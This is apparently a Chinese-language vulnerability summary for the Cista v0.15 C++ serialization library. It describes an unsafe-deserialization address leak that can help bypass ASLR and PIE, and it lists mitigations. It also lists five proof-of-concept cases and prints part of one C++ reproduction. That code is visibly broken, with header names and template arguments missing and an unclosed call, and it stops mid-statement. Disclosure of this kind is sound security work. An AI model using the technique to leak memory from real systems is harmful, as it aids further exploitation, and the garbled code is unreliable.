漏洞总结:Cista v0.15 反序列化内存地址泄露 漏洞概述 在 Cista v0.15 及更低版本中,存在不安全的反序列化问题。当反序列化不受信任的输入时,由于 序列化器缺乏足够的检查,可能导致内存地址泄露。攻击者可以通过修改偏移量(如从 -8 到 0)使指针指向自身,从而在打印时泄露其自身地址。 影响范围 受影响版本:Cista v0.15 及以下 潜在风险: - 泄露堆栈地址或堆地址 - 可能绕过 ASLR 和 PIE 等安全保护机制 - 为后续攻击打开大门 修复方案 1. 维护“已见”地址的哈希映射: - 防止 引用同一内存两次 - 捕获类型混淆(每个区域应仅被解释为单一类型) - 注意:此策略对容器(如 vector)可能无效,因为它们使用两个 u64s 表示缓冲区大小和容量 2. 避免自引用指针: - 使用 offset=0 的自引用指针 POC 代码 示例 1:指针指向自身 示例 2:指针指向 payload 内的任意地址 示例 3:vector 指向自身 示例 4:unique_ptr 指向 payload 内的任意地址 示例 5:声明在栈上的缓冲区 ```cpp // Minimal Reproducible Example 5 - buffer declared on stack #include #include #include #include #include "cista.h" namespace data = cista::raw; struct A { data::vector v; }; int main(int argc, char** argv) { std::vector buf; { A data; data.v = data::vector({1, 2, 3}); buf = cista::serialize(cista::mode::DEEP_CHECK std::cout << "v.size(): " << data.v.size() << std::endl; for (int i = 0; i < data.v.size(); i++) { std::cout << "v[" << i << "]: " << data.v[i] << std::endl; } } std::cout << "out:\n"; for (int i = 0; i < buf.size(); i++) { for (int j = 0; j < 16 && i < buf.size(); i++, j++) { std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (uint16_t)buf[i] << ((i+1) % 8 ? " " : " "); } std::cout << std